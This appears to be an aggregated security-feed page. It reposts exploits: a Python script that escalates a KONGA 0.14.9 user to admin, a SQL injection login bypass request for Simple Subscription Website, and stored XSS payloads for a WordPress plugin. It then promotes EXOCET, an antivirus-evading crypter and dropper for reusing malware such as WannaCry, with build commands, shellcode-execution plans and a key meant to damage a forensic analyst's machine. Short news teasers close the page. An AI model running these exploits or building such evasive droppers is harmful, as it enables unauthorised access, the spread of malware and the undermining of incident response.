Exploit Collector
KONGA 0.14.9 Privilege Escalation

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
KONGA version 0.14.9 suffers from a privilege escalation vulnerability.

MD5 | 291bb03392b45ade830080cc3b83f352

Download
# Exploit Title: KONGA 0.14.9 - Privilege Escalation
# Date: 10/11/2021
# Exploit Author: Fabricio Salomao & Paulo Trindade (@paulotrindadec)
# Vendor Homepage: https://github.com/pantsel/konga
# Software Link: https://github.com/pantsel/konga/archive/refs/tags/0.14.9.zip
# Version: 0.14.9
# Tested on: Linux - Ubuntu 20.04.3 LTS (focal)
import requests
import json

urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password

headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Content-Type": "application/json;charset=utf-8",
"connection-id": "",
"Origin": urlkonga,
"Referer": urlkonga
}

url = urlkonga+"login"

data = {
"identifier":identifier,
"password":password
}

response = requests.post(url, json=data)
json_object = json.loads(response.text)
print("[+] Attack")
print("[+] Token " + json_object["token"])

url2 = urlkonga+"api/user/"+str(json_object["user"]["id"])
id = json_object["user"]["id"]
print("[+] Exploiting User ID "+str(json_object["user"]["id"]))

data2 = {
"admin": "true",
"passports": {
"password": password,
"protocol": "local"
},
"password_confirmation": password,
"token":json_object["token"]
}

print("[+] Change Normal User to Admin")
response2 = requests.put(url2, headers=headers, json=data2)
print("[+] Success")


Source:packetstormsecurity.com

Exploit Collector
Simple Subscription Website 1.0 SQL Injection

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Simple Subscription Website version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | d0f2418dde749f911db5dbbbbd28b417

Download
# Exploit Title: Simple Subscription Website 1.0 - SQLi Authentication Bypass
# Exploit Author: Daniel Haro (Dirox)
# Vendor Homepage: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/php/15013/simple-subscription-website-admin-panel-php-and-sqlite-source-code.html
# Version: Simple Subscription Website 1.0
# Tested on: Windows, xampp
# CVE: CVE-2021-43140

- Description:
SQL Injection vulnerability exists in Sourcecodester. Simple Subscription Website 1.0. An account takeover exists with the payload: admin' or 1=1-- -

PoC:

POST /plan_application/Actions.php?a=login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 57
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/plan_application/admin/login.php
Cookie: PHPSESSID=lcikn75hk4lk03t5onj0022mj3

username=admin'+or+1%3D1--+-&password=admin'+or+1%3D1--+-


Source:packetstormsecurity.com

Exploit Collector
WordPress WPSchoolPress 2.1.16 Cross Site Scripting

https://3.bp.blogspot.com/-cErR-NKa5pU/WWlvUH06dSI/AAAAAAAAINw/w0uVuk51vEgh40coJSJAKFsc2nT9tBwYgCLcBGAs/s1600/h44.png
WordPress WPSchoolPress plugin version 2.1.16 suffers from cross site scripting vulnerabilities.

MD5 | 729a454da76a432cc4eb46e692268e44

Download
# Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
# Date: 20/08/2021
# Exploit Author: Davide Taraschi
# Vendor Homepage: https://wpschoolpress.com/
# Software Link: https://wpschoolpress.com/free-download/
# Version: up to 2.1.17 (non included)
# Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
# CVE : CVE-2021-24664

# Description:
The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.

# PoC:
As admin,
- Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another teacher attendance by clicking on the Add button

- Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button

- Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)

- Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Subject

- Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
The XSS will be triggered when editing the Exam=20

Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.


Source:packetstormsecurity.com

KitPloit - PenTest Tools!
EXOCET - AV-evading, Undetectable, Payload Delivery Tool

https://blogger.googleusercontent.com/img/a/AVvXsEipwWJ5amESN6GfBTPDvItOcNmBZzZi_3hiCTVCYM28GnEDDO31_qHfE39eG2yoPZY4eg6BMvbuT4ku0UV92U3PFi7yJmlVl9Tr9jEPJ-NO9DItfE6nNe0y2mZXV7HAIYYHDdP1554V21xZ7ShdKGDo1Rpz_kwVdU1V2vGWmfURzmJiKzOXlbNy62Y3EQ=s320 EXOCET is superior to Metasploit's "Evasive Payloads" modules as EXOCET uses AES-256 in GCM Mode (Galois/Counter Mode). Metasploit's Evasion Payloads uses a easy to detect RC4 encryption. While RC4 can decrypt faster, AES-256 is much more difficult to ascertain the intent of the malware. https://blogger.googleusercontent.com/img/a/AVvXsEjGKtm7MogQJEClVXQW9nwToNMuX-8glrrb8yFKLyeKnPQykQ9kDUDA9g_LZRjTriouS0WodSZeC7D8DwG3XTlsuvgDYjAjCaW31aUs5DqUmrhjPRWtfZ-3ZO9_NW7KbIXS4vY2SXf_KvWInsYkXohPqfmwhZIQ3-I4vhD3r7fAggVLg0lmZ84w6BPZgw=w640-h360 However, it is possible to use Metasploit to build a Evasive Payload, and then chain that with EXOCET. So EXOCET will decrypt via AES-256, and then the Metasploit Evasive Payload then decrypts itself from RC4.

Much like my previous project, DarkLordObama, this toolkit is designed to be a delivery/launch vehicle, much like Veil-Evasion does. Dark Lord Obama Project

However, EXOCET is not limited to a single codebase or platforms that are running Python. EXOCET works on ALL supported platforms and architectures that Go supports. Exocet OverviewEXOCET, is effectively a crypter-type malware dropper that can recycle easily detectable payloads like WannaCry, encrypt them using AES-GCM (Galois/Counter Mode), which is more secure than AES-CBC, and then create a dropper file for a majority of architectures and platforms out there.

Basically...

1. It ingests dangerous malware that are now detectable by antivirus engines
2. It then encrypts them and produces it's own Go file
3. Then that Go file can be cross-compiled to 99% of known architectures
4. Upon execution, the encrypted payload is written to the disk and immediately executed on the command line
5. Alternatively, instead of a file-drop, it will execute the reconstitute shellcode in memory using amenzhinsky's go-memexec module github.com/amenzhinsky/go-memexec
6. A custom shellcode executor is in the works, it takes ordinary C shellcode and after num-transform, it will run it by creating a new process after allocating the correct virtual address space and granting it RWX permissions on Windows

That means 32-bit, and 64-bit architectures, and it works on Linux, Windows, Macs, Unix, Android, iPhone, etc. You take, anything, and I mean ANYTHING, like the 1988 Morris Worm that nearly brought down the internet (which exploited a flaw in the fingerd listener daemon on UNIX), and make it a viable cyberweapon again.

EXOCET is designed to be used with the DSX Program, or the "Cyber Metal Gear" as I envisioned it. Being able to launch and proliferate dangerous malware without a traceable launch trail.

EXOCET is written entirely in Go. How to useEXOCET, regardless of which binary you use to run it, requires Golang to work. By default, it generates a crypter .go file.

1. Windows users: Install Go Here
2. Linux users: run sudo apt-get update && sudo apt-get install -y golang3. You must install the EXOCET source files in golang go get github.com/tanc7/EXOCET-AV-Evasion4. Sub-requirements will also be downloaded and installed
5. For Windows and Mac x64 Users, pre-compiled binaries are in the /bin folder To run itgo run EXOCET.go detectablemalware.exe outputmalware.goA key is automatically generated for you. The key is 64-characters long and is entirely composed of bash and cmd.exe shell pipe redirectors to confuse and disrupt brute-forcing attempts against the key by causing unpredictable, destructive behavior on the forensic analyst's device.

Fo[...]

r 64-bit Windows Targets... env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.goAnd out comes a outputmalware.exefile

For 64-bit MacOS Targets env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.goFor 64-bit Linux Targets env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.goSee this reference on github for your parameters for other operating systems like Android Reference for Go Cross Compilation

Note that the key can still be found with the stringscommand, please use the upx-uclcommand to pack binary to conceal the key.

Furthermore, there are prebuilt binaries that I have made, meaning you just have to run ./EXOCETor EXOCET-Windows.exeLegal InformationI, Chang Tan, and the creators of the main module and submodules of Exocet and the packages it incorporates are NOT responsible for the misuse of this tool. This is merely a penetration testing tool. You are strictly prohibited from deploying Exocet output binaries against unauthorized protected systems or unauthorized protected government systems.

I am aware that threat actors of APT41 and the NSO Group have used and/or adopted code from this tool, particularly the go-memexec method. If I were to be approached by Federal Investigators regarding the misuse of this tool, I am not claiming responsibility.

This is the same stuff that happened to the developers of Mimikatz and PowerShell Empire (who deprecated their own development upon realization of its use among threat actors). The successors have picked up development of Empire, and there are free alternatives such as Covenant C2. EXOCET live demohttps://github.com/tanc7/EXOCET-AV-Evasion/blob/master/media/exocetdemo.mp4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen> Reason for the nameOn May 4th, 1982, during the Falklands War, a squadron of Argentinan Super Eterdards launched a French made Exocet missile at the HMS Sheffield. Despite the Royal Navy's attempts to stop the missile, one struck, sinking the Sheffield. That incident literally put Argentina on the map as a show of force against a global colonial power. News Article of the sinking of the HMS Sheffield

Very much like how Onel de Guzman's actions with the ILOVEYOU virus put the Philippines on the map as a cyber threat. ILOVEYOU Virus on Wikipedia Incoming update, notes and ambitionshttps://blogger.googleusercontent.com/img/a/AVvXsEiiwr4pQDecEZ2of2C-8tn9qByyeJ1sOysquQxwev6u_89XakYcL2Z5cWY1sK7cPOcQgpad7611_O79Tb1RnAErYfsovqCoQf0LwzshtIqNnnqe4wtmlroA5dqBYiTvv3M1qifxTAq-VEIO8uPKhOVs_7CMGtHdkktuXbMgzKRsEZUmd0F3ThP6GABxaw=w640-h360 So this month, and the next month is going to be a busy month for me, and there will be delays in implementing these methods. But I am excited to get started on implementing new AV evasion techniques such as...

1. Inline hooking
2. Obfuscation by emulating BlackRota and the gobfuscate module
3. Process hollowing
4. Reflective DLL injection
5. Remote process injection
6. ThreadLocalStorage Callbacks
7. Registration of Top-Level Exception Handlers
8. Custom UPX packing

I am a very busy man, I have the following priorities and I would like to request some help, some pull requests to aid in the project. Since I have the following things to do

1. A court appearance in late October
2. National Cyber League
3. Accounting and Finance Classes, Computer Science was NEVER my college major and in the following weeks I will have exams back-to-back
4. Federal Supervised Release Conditions and the FBI trying to implicate me in new unproven crimes. I have dash camera videos I uploaded to the cloud to prove it that I am sending to my lawyers. I have documented multiple attacks against me, vandalism of my c[...]

ar, my house, filed police reports and counter reports and will be building my case to file a Federal lawsuit. One of the perpetrators, who ripped out my front bumper of my car, has been arrested.
5. A private project involving interaction with the CoinGeckoAPI
6. Running the cryptoscopeinitiative.org, a to-be-filed 501c3 Non-Profit Organization
7. Teaching three online classes on Exploit Development Upcoming update! Direct encrypted shellcode execution! (Implemented in test versions, not released yet)I need a bit of help, because I successfully implemented CGO to execute encrypted shellcode but it is throwing memory access violations exit status 0xc0000005. It shouldn't be anything related to DEP (Data Execution Prevention) because the file CGOTest/working-template-shellcode-executor.go did run.

Problem Discovered

As it turns out, VirtualAlloc must be called from kernel32.dll and ntdll.dll to properly make the memory page where the shellcode lands, readable, writable, and executable, in other word, set the PAGE_EXECUTE_READWRITE to ON. Read the Note on Memory Access Violation Problem below. https://blogger.googleusercontent.com/img/a/AVvXsEjCtXeL5Ouk9O0lOBqjggneyIJgfdlFyyehCTS9qlkP9fdZJkvxkw_haXjJ_u0YU_tuNLZqFyQltLOP_O1NGSKKR1BrFflUWh6GLFGpQIvAbqXjGlSvW-SFCioprlrTBvU-FoO2I-yCtldc2dqz6UJerQOR-Nb0WUyOtnScaS_VgNVL3LvFVKvC5AOLyA=w640-h360 Once I figure this out, CGO was a pain in the ass to implement, we can now create crypters that execute INLINE-ASSEMBLY. Which was considered a impossibility until now.

Note this requires Golang and the MinGW toolchain to be installed on Windows with you running and generating the shellcode on Windows. The reason why, is because CGO cannot be cross-compiled like our other EXOCET modules. To install the toolchain you need to go to https://www.msys2.org/ and follow the guide. Then you must add gcc to your environment variables in Windows https://blogger.googleusercontent.com/img/a/AVvXsEg7IVkVCjD01e4C26aIwL3FruCk9TcPYgPo7XiKDMzU_lniSisirBOFc2-LxTnPYNoa7oZFYivhmRXSVsxmN3w90GderHWT51_pvKNja1b7PPHXf1wCed8fy7sLLpk6RDXfE1k5JoBnhySxvozawI_S_2ccY7ELtYw9vOQNsoH6wfcl9JIdinlRqx_pEQ=w640-h360 Step 1: Generate shellcode, this could be from msfvenom Meterpreter payloads, Cobalt Strike Beacons, or your own custom shellcode in C compatible format https://blogger.googleusercontent.com/img/a/AVvXsEgWeogDQyl_TqNOeTaY6cFMa4UHZkXAxitcW46n82XE3jJEi3x7L_t0Fy6uPKGUiQ16NK66pKPHo_BY0Bz3Xfs9ps5WDcSlFekVlr0b3UyxQ73pbyYIv8_Td-SqC-c2NqYJAMFAcokDUggNsBfGc-FmC5ssA4n5jdwABwFmYiRihjQhINDH5BsTSRKqmQ=w640-h360 Step 2: Copy only the bytes of the shellcode, excluding the quotes into a text file like sc.txt https://blogger.googleusercontent.com/img/a/AVvXsEhd4MVspipJUXVPIjWxYIBcPICYW3tbwvl9ryv04dIMZrGM31KTZdcSXM6-F7gm86oysb4kZkspOZr8j38pY9k17kCERLY_9bJ_uzXGnvJXwjpdexnA7VsB1fUMcnW703IHNwgc_PKxPLbAffc9EIZ-3I9W5AjN614PejX6TTxw2tkolwk1qzLuRHB4fw=w640-h360 Step 3: Your shellcode file should look like this. Raw shellcode https://blogger.googleusercontent.com/img/a/AVvXsEh44Xxm_y2utbPAskWo_B0rXZVTUPtFAu0o1NCczfp9AIhmXiR_EhDz8ssRj59Gv2lFSTlXZdUdf8tIqYBd6a104g2bPOB2QfUepoiVu0bVk1io_mFXcUFnlsX-rMP3iUF9iw0XA9gZ1S4QMvjH-0lXsFCejrc5g3sZCe8UfkL4SQxO7vPjphRqrogMXA=w640-h360 Step 4: Now run the command go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEYStep 5: You can attempt to run it but you'll run into memory access violation errors for some reason, which I am still working on Note on Memory Access Violation ProblemApparently, aside from the major limitations of CGO that prohibit or dramatically frustrates cross-compilation, the issue is that the shellcode we want to execute is landing in a section of memory (analyzed in WinDBG x64) that is not RWX. In other words, unless we write C code that explicitly allows execution in memory of the shellcode, it will always throw access violation errors.

The other method, that I observed other developers of rudimentary Go modules https://gist.github.[...]

com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, is that they use Go's Windows API to interact with ntdll.dll and kernel32.dll to call VirtualAlloc and specify areas of RWX memory pages. This method works better, but it seems that the shellcode must be in num-transformed format only for it to work.

I am still working on this you guys. I may combine multiple programming languages together to write a proper shellcode execution module Note on Apple M1 Chips for precompiled binariesUnfortunately I am running into errors for making a pre-compiled binary for MacBooks running the new M1 CPUs. It may be a issue with my Golang installation ┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status Either way, you still require Golang to compile or cross-compile the malware to the platform you are targeting. Download EXOCET-AV-Evasion

Dark Reading: Attacks/Breaches
Name That Toon: Cubicle for Four

Feeling creative? Submit your caption and our panel of experts will reward the winner with a $25 Amazon gift card.

Dark Reading: Attacks/Breaches
FBI Attributes Abuse of Its Email Account to Software 'Misconfiguration'

A wave of phony emails from an FBI mail server originated from an issue with the agency's Law Enforcement Enterprise Portal.

Dark Reading: Attacks/Breaches
Norton Special Report Reveals Nearly 1 in 2 Gamers Have Experienced a Cyberattack

Three in four say they were impacted financially as a result, losing more than $700 on average.

Hacking on Medium
Unknowndevice64–1: Vulnhub Walkthrough

https://cdn-images-1.medium.com/max/844/0*McFn0ncejOADe1VK.png
Merhabalar,

Continue reading on Medium »

Hacking on Medium
Yapay Zeka Güvenliği : Giriş

https://cdn-images-1.medium.com/max/1080/1*OIW9tAXZgQDNTRT_-we3Aw.jpeg
Yapay Zeka Güvenliği (AI Security) : Giriş

Continue reading on Medium »

Hacking on Medium
Qu’est-ce que Profit Hacking ?

Un “hacker” est une personne qui a une connaissance approfondie du système et sait comment exploiter les faiblesses. Et lorsqu’il s’agit…

Continue reading on Medium »